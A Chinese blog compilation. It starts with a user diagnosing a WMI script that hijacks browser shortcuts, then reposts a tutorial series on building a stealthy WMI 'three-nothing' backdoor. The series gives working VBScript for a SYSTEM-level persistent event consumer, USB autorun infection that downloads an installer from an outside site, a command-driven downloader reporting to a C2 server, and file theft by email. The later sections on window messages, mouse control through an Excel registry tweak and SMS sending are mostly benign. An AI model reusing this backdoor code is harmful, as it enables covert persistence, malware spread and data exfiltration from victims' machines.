浏览器快捷方式被篡改

所有浏览器打开时都会跳转到http://so.wnoyng.cn/?r=x 或者其他,并不是简单地修改注册表,而是不定时地修改启动栏上的浏览器快捷方式的目标,添加辣鸡链接。

图1

真的是不定时啊,据我这两天的观察,lnk被修改的时间包括但不局限于7:51,13:25,19:51,20;36……..

那其实把快捷方式改成只读就好了,但是这个小流氓一直在我电脑里我就很不开心啊,于是我就用ProcessMonitor来监控进程(BTW,filter可以设为 Path ends with lnk),可是这个碧池好像知道我在监控似的,一直不出来作案,有天晚上挂着ProcMon,结果第二天起来内存爆了…

但好在我是一个#老板还没来#的#单身狗#,于是就一边看#真田丸(好看好看好看),一边挂着ProcMon,每一个小时清一下log,最后终于抓住了:scrcons.exe….但这TM是系统进程啊,我不能瞎比删啊。

感谢http://bbs.csdn.net/topics/390272533?page=1,“这是wmi下的脚本宿主,利用WMI中的永久事件消费者ActiveScriptEventConsumer(简称ASEC)实现的#三无后门#”…

em,说的好像很有道理,但是我并不懂…

感谢 http://blog.sina.com.cn/s/blog_8627ac3c010195ri.html###,

反正就是一个通过WMI发起的定时自动运行脚本,(不过真的是定时的吗?)…

要查看WMI事件,到以下地址下载WMITool并安装, 
http://www.microsoft.com/en-us/download/details.aspx?id=24045

安装后打开wbemeventviewer,点击左上角register for events,弹出Connect to namespace框,填入“root\CIMV2”,确定,出现下图:

这里写图片描述

这个叫“VBScriptKids_consumer”的脚本(学名:ActiveScriptEventConsumer)就是我们要找的流氓,右键删除应该就能解决了吧?!…..

哦,不要忘了把被调戏的快捷方式改回去,具体哪些快捷方式被侮辱了可以看下面的ScriptText..

最后贴一下具体的脚本代码,有兴趣的可以参考参考:

On Error Resume Next:Const link = "http://hao642.com/?r=ggggg&m=c26":Const link360 = "http://hao642.com/?r=ggggg&m=c26&s=3":browsers = "114ie.exe,115chrome.exe,1616browser.exe,2345chrome.exe,2345explorer.exe,360se.exe,360chrome.exe,avant.exe,baidubrowser.exe,chgreenbrowser.exe,chrome.exe,firefox.exe,greenbrowser.exe,iexplore.exe,juzi.exe,kbrowser.exe,launcher.exe,liebao.exe,maxthon.exe,niuniubrowser.exe,qqbrowser.exe,sogouexplorer.exe,srie.exe,tango3.exe,theworld.exe,tiantian.exe,twchrome.exe,ucbrowser.exe,webgamegt.exe,xbrowser.exe,xttbrowser.exe,yidian.exe,yyexplorer.exe":lnkpaths = "C:\Users\Public\Desktop,C:\ProgramData\Microsoft\Windows\Start Menu\Programs,C:\Users\user\Desktop,C:\Users\user\AppData\Roaming\Microsoft\Internet Explorer\Quick Launch,C:\Users\user\AppData\Roaming\Microsoft\Internet Explorer\Quick Launch\User Pinned\StartMenu,C:\Users\user\AppData\Roaming\Microsoft\Internet Explorer\Quick Launch\User Pinned\TaskBar,C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs":browsersArr = split(browsers,","):Set oDic = CreateObject("scripting.dictionary"):For Each browser In browsersArr:oDic.Add LCase(browser), browser:Next:lnkpathsArr = split(lnkpaths,","):Set oFolders = CreateObject("scripting.dictionary"):For Each lnkpath In lnkpathsArr:oFolders.Add lnkpath, lnkpath:Next:Set fso = CreateObject("Scripting.Filesystemobject"):Set WshShell = CreateObject("Wscript.Shell"):For Each oFolder In oFolders:If fso.FolderExists(oFolder) Then:For Each file In fso.GetFolder(oFolder).Files:If LCase(fso.GetExtensionName(file.Path)) = "lnk" Then:Set oShellLink = WshShell.CreateShortcut(file.Path):path = oShellLink.TargetPath:name = fso.GetBaseName(path) & "." & fso.GetExtensionName(path):If oDic.Exists(LCase(name)) Then:If LCase(name) = LCase("360se.exe") Then:oShellLink.Arguments = link360:Else:oShellLink.Arguments = link:End If:If file.Attributes And 1 Then:file.Attributes = file.Attributes - 1:End If:oShellLink.Save:End If:End If:Next:End If:Next:

 

 

附:利用WMI打造完美“三无”后门-The Core

这个“三无”后门的核心就是WMI中的永久事件消费者ActiveScriptEventConsumer(以下简称ASEC)。WMI中有许多这类的事件消费者,简单的来说,当与其绑定的事件到达时,消费者就会被触发执行预先定义好的功能。例如可以用来执行二进制程序的CommandLineEventConsumer等等

ASEC是WMI中的一个标准永久事件消费者。它的作用是当与其绑定的一个事件到达时,可以执行一段预先设定好的JS/VBS脚本。

先来看一下其原型:

class ActiveScriptEventConsumer : __EventConsumer
{
uint8 CreatorSID = {1,1,0,0,0,0,0,5,18,0,0,0}; //事件消费者的CreatorSID 只读
uint32 KillTimeout = 0; //脚本允许被执行的时间 默认为0,脚本不会被终止
string MachineName;

uint32 MaximumQueueSize;

string Name; //自定义的事件消费者的名字。
string ScriptingEngine; //用于解释脚本的脚本引擎。VBScript或者JScript
string ScriptFileName; //如果你想从一个文件里面读取想执行的脚本的话,写上这里吧。
string ScriptText; //用于执行的脚本代码。与ScriptFileName不共戴天。有你没我,有我没你
};

ASEC的安装

对于XP以后的系统来说,ASEC已经默认安装到了root\subscription名称空间。我们可以直接调用。2000自带有ASEC的mof文件,但是没有默认安装,需要我们自己安装。另外由于大部分的事件都是在root\cimv2里产生,所以如果你想直接捕获一些系统事件作为触发器的话,还得在其他的名称空间中安装ASEC。来看一下在2000/XP/Vista下安装ASEC到root\cimv2的代码。

Function InstallASECForWin2K    '安装ASEC For Windows 2000'
Dim ASECPath2K
ASECPath2K = XShell.Expandenvironmentstrings("%windir%\system32\wbem\")
Set MofFile = FSO.opentextfile(ASECPath2K&"scrcons.mof",1,False)
MofContent = MofFile.Readall
MofFile.Close
MofContent = Replace(MofContent,"\\Default","\\cimv2",1,1) ‘替换默认的名称空间
TempMofFile=ASECPath2K&"Temp.mof"
Set TempMof=FSO.CreateTextFile(TempMofFile,False,True)
TempMof.Write MofContent
TempMof.close
XShell.run "mofcomp.exe -N:root\cimv2 "&TempMofFile,0,TRUE
FSO.DeleteFile(TempMofFile)
ASECStatus = "Ready"
'Wscript.Echo "ASECForWin2K Install OK!"
End Function


Function InstallASECForWinXP    '安装ASEC For Windows XP'
Dim ASECPathXP
XPASECPath = XShell.Expandenvironmentstrings("%windir%\system32\wbem\")
XShell.run "mofcomp.exe -N:root\cimv2 "&XPASECPath&"scrcons.mof",0,TRUE '直接运行安装即可
ASECStatus = "Ready"
'Wscript.Echo "ASECForWinXP Install OK!"
End Function

Function InstallASECForVista    '安装ASEC For Windows Vista'
Dim ASECPath2K
ASECPath2K = XShell.Expandenvironmentstrings("%windir%\system32\wbem\")
Set f = FSO.GetFile(ASECPath2K&"scrcons.mof")
Set MofFile = f.OpenAsTextStream(1,-2)
'Set MofFile = FSO.opentextfile(ASECPath2K&"scrcons.mof",1,False)
MofContent = MofFile.Readall
MofFile.Close
MofContent = Replace(MofContent,"#pragma autorecover","",1,1) //需要删除autorecover,否则安装出错
TempMofFile=ASECPath2K&"Temp.mof"
Set TempMof=FSO.CreateTextFile(TempMofFile,False,True)
TempMof.Write MofContent
TempMof.close
XShell.run "mofcomp.exe -N:root\cimv2 "&TempMofFile,0,TRUE
FSO.DeleteFile(TempMofFile)
ASECStatus = "Ready"
'Wscript.Echo "ASECForWinVista Install OK!"
End Function

再来看一个绑定事件和ASEC的实例。

Function InstallUpdateableTrojan
WMILink="winmgmts:\\.\root\cimv2:" 'ASEC所在的名称空间
TrojanName="ScriptKids" '自定义的消费者名字,也就是你的后门的名字
TrojanRunTimer=30000 '自定义的脚本运行间隔

strtxt="" '自定义的脚本内容。为了隐蔽我们就不用scriptfilename了。会被Windows编码后写入CIM存储库

'配置事件消费者'
set Asec=getobject(WMILink&"ActiveScriptEventConsumer").spawninstance_
Asec.name=TrojanName&"_consumer"
Asec.scriptingengine="vbscript"
Asec.scripttext=strtxt
set Asecpath=Asec.put_

'配置计时器'
set WMITimer=getobject(WMILink&"__IntervalTimerInstruction").spawninstance_
WMITimer.timerid=TrojanName&"_WMITimer"
WMITimer.intervalbetweenevents=TrojanRunTimer
WMITimer.skipifpassed=false
WMITimer.put_

'配置事件过滤器'
set EventFilter=getobject(WMILink&"__EventFilter").spawninstance_
EventFilter.name=TrojanName&"_filter"
EventFilter.query="select * from __timerevent where timerid="""&TrojanName&"_WMITimer"""
EventFilter.querylanguage="wql"
set FilterPath=EventFilter.put_

'绑定消费者和过滤器'
set Binds=getobject(WMILink&"__FilterToConsumerBinding").spawninstance_
Binds.consumer=Asecpath.path
Binds.filter=FilterPath.path
Binds.put_

End Function

以上代码的含义就是当我们自定义的一个计时器事件发生时,会被我们所配置的事件过滤器捕获到,并触发与过滤器绑定的消费者,也就是我们自定义了脚本的ASEC。达到我们每隔30秒执行一次我们自定义的脚本的目的。很简单吧:)

最后要说的是,我们自定义的脚本运行时,是由系统自带的scrcons.exe作为脚本宿主进行解析,而scrcons.exe是由系统以SYSTEM权限启动的,也就是说,我们的脚本是以SYSTEM权限执行,并且其所创建的任意进程都会继承SYSTEM权限。美中不足的就是,每当脚本执行时,会平白多出一个scrcons.exe的系统进程。这也是这个脚本后门目前最容易被发现的一个弱点。不过,当这个脚本24小时才运行一次时,有多少人会注意到呢?

 

 

利用WMI打造完美“三无”后门-U盘侦测与Autorun

一个好的后门,肯定要有一个比较好的传播方式。比如读取本地联系人列表发送邮件,U盘感染,QQ,MSN传播等等。利用WMI提供的强大windows管理接口来实现多样的传播方式非常简单。这里我只介绍一下U盘方式。

 

Win32_LogicalDisk类提供了很好的识别各类驱动器的接口。我们可以很轻易的识别出我们可以感染的移动设备。来看代码:

Function DetectDisk
Set DiskInfos=WMIService.ExecQuery("Select * from Win32_LogicalDisk") //查询本机所有逻辑盘
For Each DiskInfo in DiskInfos
If DiskInfo.DriveType=2 And DiskInfo.MediaType=5 Then //排除可移动的软驱干扰,这里不是非常严谨。
    Else If DiskInfo.DriveType=2 And Not FSO.FileExists(DiskInfo.Name&"\Autorun.inf") Then //以下生成后门安装的vbs
   Http.Open "GET","http://scriptkids.cn/bbs/ScriptKids-install.vbs",False //用下载方式获取安装程序
   Http.Send
   fso.CreateTextFile(DiskInfo.Name&"\scriptkids.vbs")
   ASO.open
   ASO.loadfromfile DiskInfo.Name&"\scriptkids.vbs"
   ASO.position=0
   ASO.type=1
   ASO.Write Http.ResponseBody
   ASO.SaveToFile DiskInfo.Name&"\scriptkids.vbs",2 //写入文件
     ASO.close
   Xshell.run "attrib +R +S +H "&DiskInfo.Name&"\scriptkids.vbs",0,TRUE //设置只读、隐藏、系统属性
     fso.CreateTextFile(DiskInfo.Name&"\Autorun.inf") //写Autorun.inf
     Set AutorunFile=fso.OpenTextFile(DiskInfo.Name&"\Autorun.inf",2)
     AutorunFile.writeLine "[AutoRun]"
   AutorunFile.writeLine "shellexecute=scriptkids.vbs"
   AutorunFile.writeLine "shell\Auto\command=scriptkids.vbs":
   AutorunFile.Close
   Xshell.run "attrib +R +S +H "&DiskInfo.Name&"\Autorun.inf",0,TRUE //设置只读、隐藏、系统属性
   Else If DiskInfo.DriveType=2 And FSO.FileExists(DiskInfo.Name&"\Autorun.inf") Then //如果已经存在Autorun.inf
    Xshell.run "attrib -R -S -H "&DiskInfo.Name&"\Autorun.inf",0,TRUE //去除只读、隐藏、系统属性
    FSO.DeleteFile(DiskInfo.Name&"\Autorun.inf") //删除Autorun.inf
    DetectDisk //再来写我们的Autorun.inf
   End If
End If
End If
Next
End Function

相信对WMI有所了解的同学看起来会很简单。下次给大家带来《利用WMI打造完美“三无”后门-Downloader and Uploader》

 

利用WMI打造完美“三无”后门-Downloader and Uploader

今天继续的是两个很简单的功能,下载指定文件到目标机器与获取目标机器任意文件。

直接来看示例代码。

 

Downloader

Function DownLoadFile
Set Http=CreateObject("WinHttp.WinHttpRequest.5.1") //想绕过防火墙请使用InternetExplorer.Application
SplitCmd=Split(CmdText,"|") //分离命令参数。命令格式是:命令号|远程URL|本地文件|超时时间
If UBound(SplitCmd)<3 Then //简单判断命令格式是否合法
Http.Open "GET","http://"&CmdServer&"/"&ServerPath&"/out.asp?cmdresult=Command Error!&macaddress="&CmdFile,True
Http.send
Exit Function
End If
Url=SplitCmd(1) //提取URL
LocalFile=SplitCmd(2) //提取本地文件路径
TimeOut=SplitCmd(3) //提取超时时间
Http.Open "GET",Url,False
Http.Send
If Http.Status>299 OR Not Http.WaitForResponse(Timeout) Then //如果返回码>299或者超时
Http.Open "GET","http://"&CmdServer&"/"&ServerPath&"/out.asp?cmdresult=File DownLoad Error!&macaddress=""&CmdFile,True
Http.send
Else
fso.CreateTextFile(LocalFile) //写入本地文件
ASO.open:ASO.loadfromfile LocalFile
ASO.position=0
ASO.type=1
ASO.Write Http.ResponseBody
ASO.SaveToFile LocalFile,2
ASO.close
Http.Open "GET","http://"&CmdServer&"/"&ServerPath&"/out.asp?cmdresult=File DownLoad Success!&macaddress="&CmdFile,True
Http.send
End If
End Function

Uploader

这里用的是邮件附件的方式发送我们指定的任意文件。不是最好的方式。不过顺便也当介绍一下如何用vbs发送邮件(支持SSL)

Function SendFile
GetFileName=Mid(Trim(CmdText),9,Len(Trim(CmdText))-8)   //另一种比较土的分离命令参数方法。命令格式:getfile|文件绝对路径
Set Email = CreateObject("CDO.Message") //创建CDO.Message对象
NameSpace = "http://schemas.microsoft.com/cdo/configuration/" //指定名称空间。
Email.From = "scriptkidstest@gmail.com" //发信信箱
Email.To = "scriptkidstest@gmail.com" //收信信箱
Email.Subject = "File That You Want-"&CmdFile&"-"&GetFileName //邮件主题
Email.Textbody = "File That You Want" //邮件内容
Email.AddAttachment GetFileName,true //附上我们指定的文件
With Email.Configuration.Fields //设定发送邮件的参数
.Item(NameSpace&"sendusing") = 2 //cdoSendUsingPort
.Item(NameSpace&"smtpserver") = "smtp.gmail.com" //smtp服务器
.Item(NameSpace&"smtpserverport") = 465 //smtp端口。Gmail是465
.Item(NameSpace&"smtpusessl") = true //Gmail使用的是ssl
.Item(NameSpace&"smtpauthenticate") = 1 //认证方式。basic
.Item(NameSpace&"sendusername") = "scriptkidstest@gmail.com" //登录smtp的用户名
.Item(NameSpace&"sendpassword") = "lalalalalaooolll" //密码,不用试了肯定不对^0^
.Update //更新配置
End With
Email.Send
Http.Open "GET","http://"&CmdServer&"/"&ServerPath&"/out.asp?cmdresult=File Has Been Sended!&macaddress="&CmdFile,true //嘿!已经发过去了,赶紧收信吧
Http.send
End Function

 

利用WMI打造完美“三无”后门-消灭一切虚假网卡

这年头,貌似除了我们呼吸的空气,什么都有假的,有的假的比那真的还真的。更别说在0101的虚拟世界了。hi,请问你是阿猫还是阿狗?:)

 

如何从一大堆诸如VMWARE之类的软件所模拟的假网卡中找到那块我们需要的真实的物理网卡并且确定确实有个真的网线插在上面,是摆在我们面前的第一个问题。更何况,用MAC地址来进行机器管理,相对还比较可靠^0^

WMI里主要有关网卡的类有三个:Win32_NetworkAdapter,Win32_NetworkAdapterConfiguration和Win32_NetworkAdapterSetting,都是位于CIMV2名称空间。

Win32_NetworkAdapterSetting就不说了,只有2个属性:Element和Setting。

Win32_NetworkAdapter,Win32_NetworkAdapterConfiguration里面都有关于网卡的大量的属性数据,看来还比较靠谱。

以下是我用来判断真实物理网卡的第一份代码:

Set MacAddressInfos = WMIService.ExecQuery("Select * from Win32_NetworkAdapterConfiguration Where IPEnabled = True")
For Each MacAddressInfo in MacAddressInfos
          strIPAddress = Join(MacAddressInfo.IPAddress, ",")
   If NOT (MacAddressInfo.ServiceName = "VMnetAdapter") AND NOT (MacAddressInfo.ServiceName = "NdisIP") AND NOT (strIPAddress = "0.0.0.0") AND NOT (strIPAddress = "") Then
   Http.Open "GET","http://"&CmdServer&"/"&ServerPath&"/"&ServerMacFile&"?macaddress="&MacAddressInfo.MACAddress,true
   Http.send
          Else

   End If

判断条件是当该网卡在网络上使用IP,并且服务名不是VMnetAdapter或者NdisIP,并且IP地址不为空或者0.0.0.0时,这网卡就是真实物理网卡。开始时,美滋滋的,真的找出物理网卡了,后来越想越不对劲,要是这虚拟网卡不是VMWARE创建的虚拟网卡,那不就抓瞎了?经过强烈的大脑活动,有了以下的这份判断真实物理网卡的代码:

Set MacAddressInfos = WMIService.ExecQuery("Select * from Win32_NetworkAdapter")
For Each MacAddressInfo in MacAddressInfos
If NOT IsNull(MacAddressInfo.MACAddress) Then
   If (InStr(MacAddressInfo.PNPDeviceID,"PCI") > 0) And (MacAddressInfo.NetConnectionStatus = 2) Then
   Wscript.sleep 3000
   Http.Open "GET","http://"&CmdServer&"/"&ServerPath&"/"&ServerMacFile&"?macaddress="&MacAddressInfo.MACAddress,true
   Http.send
   Wscript.sleep 3000
   End If
End If

判断条件是在mac地址不为空的网卡中,如果PNPDeviceID中还有PCI字样并且网络连接状态是已连接上的网卡,那就是咱要找的真实物理网卡。经过威逼利诱,巧取豪夺,坑蒙拐骗在超过20台PC上的测试后,目前还没出现过差错。当然了,面对多个真实物理网卡的环境,加上第一份代码中的某些判断条件,会更加准确。

如果有同学认为有可能绕过这个判断的话,欢迎挑战,我会及时修正。

 

“鲜为人知”的SendWindowMessage

有同学看到标题可以能比较奇怪,这有什么鲜为人知的。这里说的是潜藏在MS office Word VBA中的一个SendWindowMessage方法。百度了一下,国内除了一些个别的office教材中偶尔提到外,很少有提到过这个method。这里记录一下。

 

先看一下MSDN的定义

SendWindowMessage Method

Sends a Windows message and its associated parameters to the specified task.

expression.SendWindowMessage(MessagewParamIParam)

expression Required. An expression that returns a Task object.

Message Required Long. A hexidecimal number that corresponds to the message you want to send. If you have the Microsoft Platform Software Development Kit, you can look up the name of the message in the header files (Winuser.h, for example) to find the associated hexadecimal number (precede the hexidecimal value with &h).

wParam , lParam Required Long. Parameters appropriate for the message you’re sending. For information about what these values represent, see the reference topic for that message in the documentation included with the Microsoft Platform Software Development Kit. To retrieve the appropriate values, you may need to use the Spy utility (which comes with the kit).

SendWindowMessage提供了脚本与传统windows窗体消息的接口。通过它我们可以通过vbscript脚本控制windows窗体做任何事情。不过毕竟是脚本实现,不知道MS大叔是不是出于安全的考虑,这个SendWindowMessage所依附的Task Object只能通过窗体名字来获取窗体,而不是通常的窗口句柄。这就导致一个问题:只能获取到顶层父窗体。也就是说我们只能控制顶层父窗体。

不过总体来说,虽然有着各种限制(需要WORD支持,只能操纵顶层父窗体),仍然是非常有用的一个方法,例如干坏事:)捕获消息很简单,用MS自家的spy++就可以。

 

利用WMI打造完美“三无”后门-终焉

今天给大家带来这个连载的最后一篇。

 

通过前面的几篇连载,有一定脚本编写功底和WMI技术知识的同学经过一定的修改,其实已经可以实现我们的这个无进程,无文件驻留,无端口的后门以及前面所说的下载者,U盘识别和感染等等功能。当然了,如果想真正实现对后门的控制,你还要有一个WEB SERVER以及一个管理端。

WMI的ASEC给我们提供了一个很好的方法来非常隐蔽的执行设定的脚本。而利用vbscript本身,WMI以及OFFICE VBA提供的各种强大的功能,加之赋予我们的system权限,我们很容易在其基础上实现对windows的全面管理。例如在之前的《“鲜为人知”的SendWindowMessage》中提到的SendWindowMessage就给我们的脚本赋予了发送windows窗体消息的能力,也就是赋予了我们控制所有windows窗体的能力:)我们也可以通过脚本生成二进制文件,也可以调用目标机的指定控件,我们还可以欺骗windows安全中心等等等等。

总之这里我只是抛砖引玉,广大的脚本高手们一定可以写出更有趣,更实用的功能。这里也给反病毒反木马的同学们提出了一个挑战,如果这样一个“三无”后门,如何才能查杀?特征很多,例如ASEC的安装,例如scrons.exe的调用,事件与消费者的绑定等等。但是隐藏的技巧相信也有不少,另外,我这里写出的是没有经过任何的代码变形,没有做任何的隐藏技巧的纯脚本。

前面所提到的所有功能的脚本代码,整理好后我会放在本篇Blog中提供下载。当然了,前面也说过了,你需要一定的修改和配置、一个web server以及一个管理端,而不是前面几篇连载代码的简单拼凑,才能实现一个真正的具有前述功能的脚本后门。

感谢各位看官的耐心。本篇连载到此结束。

 

VBS SendMessage

就是用VBS操作Word.Application对象发送信息就像SendMessage一样好用。或许,还有局限性,但是我没有对它深入研究。说明:在Word.Application中有个Task对象,这个Task对象有个SendMessage方法,和API的基本类似。所以,就:

 

'BY Coo_boi
Function SendMessage(lpWinTitle,wMsg,wParam,lParam)
Dim WordApp
Dim ShApp,colTask,oTask
Set WordApp=CreateObject("Word.Application")
Set colTask=wordapp.Tasks
SendMessage=False
For Each oTask In colTask
    If oTask.Visible And InStr(oTask.Name,lpWinTitle) Then
        oTask.SendWindowMessage wMsg,wParam,lParam
        SendMessage=True
    Exit For 
    End If
Next
WordApp.Quit
Set WordApp=Nothing
End Function

Const WM_SYSCOMMAND=&H112
Const SC_MAXIMIZE=&HF030&
Const lpWinTitle="API 阅览器 - D:\程序目录\Tools\Winapi\WIN32API.TXT"
SendMessage lpWinTitle,WM_SYSCOMMAND,SC_MAXIMIZE,0

上例就是对我已经打开的APIViewer使其最大化
当啊,SendMessage那么丰富的消息库,我想一定能满足某些人的“私欲”!呵呵。。。。
至于,那些参数,自己百度或者是用APIViewer随便你,不管了。。。。

对了 忘了说了,这个SendMessage不需要句柄,只会根据条件Set那个对象,我写的是根据窗体的标题来捕捉窗口对象!仔细看参数!

 

用VBS检测U盘插入和弹出事件

貌似网上很多人问怎么用VBS检测U盘插入和弹出,其实这很容易实现,WMI赋予了VBS十分强大的功能。可以说,对WMI的掌握程度的多少直接决定了你的VBS水平高低。看过网上普遍流传VBS版U盘小偷程序,基本上都是靠无限循环实现的,一点技术含量也没有,文章的末尾给出了我写的VBS版U盘小偷程序的下载地址。虽然用WMI也得无限循环,但是效率是不一样的。

使用WMI的Win32_VolumeChangeEvent类就可以实现,下面是示例代码,更详细的信息请参考MSND文档

Const Configuration_Changed = 1
Const Device_Arrival = 2
Const Device_Removal = 3
Const Docking = 4
strComputer = "."
Set objWMIService = GetObject("winmgmts:" _
    & "{impersonationLevel=impersonate}!\\" _
    & strComputer & "\root\cimv2")
Set colMonitoredEvents = objWMIService. _
    ExecNotificationQuery( _
        "Select * from Win32_VolumeChangeEvent")
Do
    Set objLatestEvent = colMonitoredEvents.NextEvent
    Select Case objLatestEvent.EventType
    	Case Device_Arrival
    		WScript.Echo "U盘插入,盘符为" & _
    		objLatestEvent.DriveName
    	Case Device_Removal
    		WScript.Echo "U盘弹出,盘符为" & _
    		objLatestEvent.DriveName
	End Select
Loop

我也写了一个U盘小偷程序,自以为比网上抄来抄去的代码要好,感兴趣的可以下载来看看。

鉴于很多人反映之前写的那篇在XP下无效,做了一下修改。说是修改,其实是直接复制粘贴脚本专家的代码。

strComputer = "."
Set objWMIService = GetObject("winmgmts:\\" & strComputer & "\root\cimv2")

Set colEvents = objWMIService.ExecNotificationQuery _
    ("Select * From __InstanceOperationEvent Within 10 Where " _
        & "TargetInstance isa 'Win32_LogicalDisk'")

Do While True
    Set objEvent = colEvents.NextEvent
    If objEvent.TargetInstance.DriveType = 2 Then 
        Select Case objEvent.Path_.Class
            Case "__InstanceCreationEvent"
                Wscript.Echo "Drive " & objEvent.TargetInstance.DeviceId & _
                    " has been added."
            Case "__InstanceDeletionEvent"
                Wscript.Echo "Drive " & objEvent.TargetInstance.DeviceId & _
                    " has been removed."
        End Select
    End If
Loop

参考链接:How Can I Determine When a Removable Drive Gets Connected?

 

用VBS控制鼠标(获取鼠标坐标、鼠标移动、鼠标单击、鼠标双击、鼠标右击)

不止一个人问过我怎样用VBS控制鼠标操作,比如:怎么用VBS获取鼠标指针的坐标位置?怎么用VBS移动鼠标?怎么用VBS模拟鼠标左键单击、左键双击、右键单击?……

网上搜到的答案普遍是VBS无法实现,或者是要用第三方COM(ActiveX?)组件。我对第三方组件是很反感的,使用第三方组件毫无可移植性可言,因为别人的系统中不一定注册了这个组件。我的建议是,尽量不要在VBS代码中调用第三方组件,除非你的程序只是写来自己用。(顺便说一下,也尽量不要用不靠谱的Sendkeys方法,原因不解释)

 

好了,废话就说这么多,现在说说用VBS控制鼠标的方法。我以前写过一篇《VBS调用Windows API函数》,本以为既然都能调用API了,用VBS控制鼠标还不是很简单是事?事实证明我错了,不明真相的同学永远是大多数,不知道API是什么的VBSer大有人在。不贴出实实在在的代码,他们根本不会自己写!

使用此代码的前提是你的系统上安装了Excel,因为要用到Excel.Application对象(如果你偏要认为这算第三方组件我也没话说):

Option Explicit
Dim WshShell
Dim oExcel, oBook, oModule
Dim strRegKey, strCode, x, y
Set oExcel = CreateObject("Excel.Application") '创建 Excel 对象
set WshShell = CreateObject("wscript.Shell")

strRegKey = "HKEY_CURRENT_USER\Software\Microsoft\Office\$\Excel\Security\AccessVBOM"
strRegKey = Replace(strRegKey, "$", oExcel.Version)
WshShell.RegWrite strRegKey, 1, "REG_DWORD"

Set oBook = oExcel.Workbooks.Add '添加工作簿
Set oModule = obook.VBProject.VBComponents.Add(1) '添加模块
strCode = _
"'Author: Demon"            & vbCrLf & _
"'Website: http://demon.tw" & vbCrLf & _
"'Date: 2011/5/10"          & vbCrLf & _
"Private Type POINTAPI : X As Long : Y As Long : End Type"                                                                                                                            & vbCrLf & _
"Private Declare Function SetCursorPos Lib ""user32"" (ByVal x As Long, ByVal y As Long) As Long"                                                                                     & vbCrLf & _
"Private Declare Function GetCursorPos Lib ""user32"" (lpPoint As POINTAPI) As Long"                                                                                                  & vbCrLf & _
"Private Declare Sub mouse_event Lib ""user32"" Alias ""mouse_event"" (ByVal dwFlags As Long, ByVal dx As Long, ByVal dy As Long, ByVal cButtons As Long, ByVal dwExtraInfo As Long)" & vbCrLf & _
"Public Function GetXCursorPos() As Long"                                                                                                                                             & vbCrLf & _
    "Dim pt As POINTAPI : GetCursorPos pt : GetXCursorPos = pt.X"                                                                                                                     & vbCrLf & _
"End Function"                                                                                                                                                                        & vbCrLf & _
"Public Function GetYCursorPos() As Long"                                                                                                                                             & vbCrLf & _
    "Dim pt As POINTAPI: GetCursorPos pt : GetYCursorPos = pt.Y"                                                                                                                      & vbCrLf & _
"End Function"
oModule.CodeModule.AddFromString strCode '在模块中添加 VBA 代码
'Author: Demon
'Website: http://demon.tw
'Date: 2011/5/10
x = oExcel.Run("GetXCursorPos") '获取鼠标 X 坐标
y = oExcel.Run("GetYCursorPos") '获取鼠标 Y 坐标
WScript.Echo x, y
oExcel.Run "SetCursorPos", 30, 30 '设置鼠标 X Y 坐标
Const MOUSEEVENTF_MOVE       = &H1
Const MOUSEEVENTF_LEFTDOWN   = &H2
Const MOUSEEVENTF_LEFTUP     = &H4
Const MOUSEEVENTF_RIGHTDOWN  = &H8
Const MOUSEEVENTF_RIGHTUP    = &H10
Const MOUSEEVENTF_MIDDLEDOWN = &H20
Const MOUSEEVENTF_MIDDLEUP   = &H40
Const MOUSEEVENTF_ABSOLUTE   = &H8000
'模拟鼠标左键单击
oExcel.Run "mouse_event", MOUSEEVENTF_LEFTDOWN + MOUSEEVENTF_LEFTUP, 0, 0, 0, 0
'模拟鼠标左键双击(即快速的两次单击)
oExcel.Run "mouse_event", MOUSEEVENTF_LEFTDOWN + MOUSEEVENTF_LEFTUP, 0, 0, 0, 0
oExcel.Run "mouse_event", MOUSEEVENTF_LEFTDOWN + MOUSEEVENTF_LEFTUP, 0, 0, 0, 0
'模拟鼠标右键单击
oExcel.Run "mouse_event", MOUSEEVENTF_RIGHTDOWN + MOUSEEVENTF_RIGHTUP, 0, 0, 0, 0
'模拟鼠标中键单击
oExcel.Run "mouse_event", MOUSEEVENTF_MIDDLEDOWN + MOUSEEVENTF_MIDDLEUP, 0, 0, 0, 0
'关闭 Excel
oExcel.DisplayAlerts = False
oBook.Close
oExcel.Quit

注释已经够详细了,要知道我很少写注释的,如果还看不懂,说明你的水平有待提高!

 

用VBS发送短信(飞信)

 

无意中看到百度 VBS 贴吧里一个标题为《无私的奉献出我的用飞信免费发短信接口》的帖子。光看标题就已经觉得很牛逼了,听说过可以用 PHP 发送短信(飞信),也使用过 Python  实现的 PyFetion 发送过短信(飞信)。我也看过对应的 PHP 和 Python 源码,实现起来还是比较复杂的,难道可以用 VBS 来实现?

 

看到代码后更觉得牛逼,竟然是使用 10086.cn (移动官网)上面的接口来实现的,飞信官方难道已经公布飞信接口了?若不是,难道是代码的作者自己发现的接口?那也太强大了!Google 了一下才发现,哦,都不是,而是 WAP 飞信。像我这种还在用着 2005 年生产的只能打电话发短信的手机的生活在石器时代的人,当然不知道 WAP 飞信的存在。我现在连短信都很少发,更不用说飞信了,我已经不记得上一次登陆飞信是什么时候。

m = "xxxyyyyzzzz"  '手机号码
pass = "12345678"  '登陆密码
msg = "Hello world" '飞信内容
Const online = 1 '在线
Const busy = 2   '忙碌
Const away = 3   '离开
Const hidden = 4 '隐身
Dim http
Set http = CreateObject("Msxml2.XMLHTTP")
http.open "POST", "http://f.10086.cn/im/login/inputpasssubmit1.action", False
http.setRequestHeader "Content-Type", "application/x-www-form-urlencoded"
http.send "m=" & m & "&pass=" & pass & "&loginstatus=" & hidden '隐身登陆
wml = http.responseText
If InStr(wml, "密码输入错误") Then
    WScript.Echo "对不起,密码输入错误,请重新输入!"
    WScript.Quit '登陆失败,退出程序
End If
http.open "POST", "http://f.10086.cn/im/user/sendMsgToMyselfs.action", False
http.setRequestHeader "Content-Type", "application/x-www-form-urlencoded"
http.send "msg=" & msg '给自己的手机发短信
wml = http.responseText
If InStr(wml, "发送成功") Then WScript.Echo "发送成功"
http.open "GET", "http://f.10086.cn/im/index/logoutsubmit.action", False
http.send '注销登陆

这里只是一个示例,至于怎么给别人发短信和飞信,自己琢磨吧。本来想写一个像 PyFetion 那样的 VbsFetion 的,但是想想没什么意义,这样还不如直接装个飞信 PC 客户端,于是就不折腾的,喜欢折腾的同学可以继续。

上面的程序可以很轻松地改写成其他语言,C、C++、C#、Java、JavaScript、Python、Perl、Ruby、Lua、PHP……用这个接口可以做很多有趣的事情,不是吗?

 

